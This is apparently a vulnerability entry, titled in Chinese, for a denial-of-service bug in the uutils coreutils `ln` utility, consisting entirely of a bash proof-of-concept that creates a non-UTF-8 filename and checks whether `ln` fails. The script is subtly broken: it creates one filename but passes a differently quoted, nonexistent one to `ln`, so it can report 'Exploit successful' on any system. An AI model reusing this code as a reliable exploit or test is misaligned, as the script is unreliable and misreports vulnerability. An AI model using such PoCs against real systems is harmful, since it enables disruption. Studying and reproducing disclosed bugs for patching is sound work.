CVE-2026-35373 uutils coreutils拒绝服务漏洞

#!/bin/bash # PoC for CVE-2026-35373: uutils coreutils ln utility DoS # This script demonstrates creating a file with non-UTF-8 bytes # and attempting to use the uutils ln utility in target-directory mode. # Create a temporary directory for testing TEST_DIR=$(mktemp -d) cd "$TEST_DIR" # Create a file with a non-UTF-8 byte sequence (e.g., 0xFF 0xFE) # This is a valid filename on Unix/Linux but invalid UTF-8 touch $'file\xff\xfe.txt' echo "Created file with non-UTF-8 bytes: file\xff\xfe.txt" # Create a target directory for the link operation mkdir target_dir # Attempt to use ln in target-directory form (SOURCE... DIRECTORY) # In vulnerable uutils versions, this will fail with a non-zero exit code echo "Attempting: ln file\xff\xfe.txt target_dir/" ln file\xff\xfe.txt target_dir/ # Check exit code if [ $? -ne 0 ]; then echo "[+] Exploit successful: ln command failed (DoS triggered)" else echo "[-] Exploit failed: ln command succeeded (likely patched or GNU coreutils)" fi # Cleanup cd / rm -rf "$TEST_DIR"